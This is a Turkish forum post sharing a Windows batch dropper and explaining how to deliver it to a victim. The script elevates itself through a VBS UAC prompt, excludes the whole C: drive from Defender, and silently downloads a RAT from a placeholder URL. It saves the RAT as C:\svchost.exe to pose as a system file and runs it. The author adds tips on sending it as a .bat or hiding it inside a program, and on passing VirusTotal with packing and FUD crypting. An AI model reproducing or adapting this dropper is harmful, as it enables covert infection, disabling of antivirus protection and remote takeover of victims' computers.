ama deginilmesi gereken nokta var radoxun bu kodu virustotal bypasser oluyor bunu bat olarak vesaire ile karşıya iletiyorsun dangalak virustotal temiz diye indirip açabilir (veya programa gizlersin) bu kod çalışınca ne indiriyorsa indirsin indirdiğini defender'a atar ve fudlamadıysan engele takılır
bu kodun daha detaylısını atayım
Kod:
ÿş
set "params=%*"
cd /d "%~dp0" && ( if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || ( echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" && "%temp%\getadmin.vbs" && exit /B )
::[Bat To Exe Converter]
::
::YAwzoRdxOk+EWAnk
::fBw5plQjdG8=
::YAwzuBVtJxjWCl3EqQJgSA==
::ZR4luwNxJguZRRnk
::Yhs/ulQjdF+5
::cxAkpRVqdFKZSzk=
::cBs/ulQjdF+5
::ZR41oxFsdFKZSDk=
::eBoioBt6dFKZSDk=
::cRo6pxp7LAbNWATEpCI=
::egkzugNsPRvcWATEpCI=
::dAsiuh18IRvcCxnZtBJQ
::cRYluBh/LU+EWAnk
::YxY4rhs+aU+JeA==
::cxY6rQJ7JhzQF1fEqQJQ
::ZQ05rAF9IBncCkqN+0xwdVs0
::ZQ05rAF9IAHYFVzEqQJQ
::eg0/rx1wNQPfEVWB+kM9LVsJDGQ=
::fBEirQZwNQPfEVWB+kM9LVsJDGQ=
::cRolqwZ3JBvQF1fEqQJQ
::dhA7uBVwLU+EWDk=
::YQ03rBFzNR3SWATElA==
::dhAmsQZ3MwfNWATElA==
::ZQ0/vhVqMQ3MEVWAtB9wSA==
::Zg8zqx1/OA3MEVWAtB9wSA==
::dhA7pRFwIByZRRnk
::Zh4grVQjdCyDJGyX8VAjFAhYTROGM3mGIrAP4/z0/9a+g2o0bqIeVLvu9PS8Fcggy3GqcI4otg==
::YB416Ek+ZW8=
::
::
::978f952a14a936cc963da21a135fa98
-w hidden -c Add-MpPreference -ExclusionPath "C:";Start-BitsTransfer -Source "https://siteniz.com/dosya/yolu/ratiniz.exe" -Destination "C:\ratiniz.exe";Invoke-expression "C:\ratiniz.exe"
::
::
::
::
::
::
::
-w hidden -c Add-MpPreference -ExclusionPath "C:";Start-BitsTransfer -Source "https://siteniz.com/dosya/yolu/ratiniz.exe" -Destination "C:\svchost.exe";Invoke-expression "C:\svchost.exe"
base64 ile şifrelenmiş
yönetici yetkisi istiyor, dosyasnı çekiyor, kendini C diskinde svchost.exe olarak gizliyor yani sistem dosyası gibi gördürtüyor kalanı senin indirttiğin ratta
her ne kadar bunu yedirsen de kod defenderda ve virus programlarında çıkabilir yani asıl işi fud ve ratın özellikleri yapacak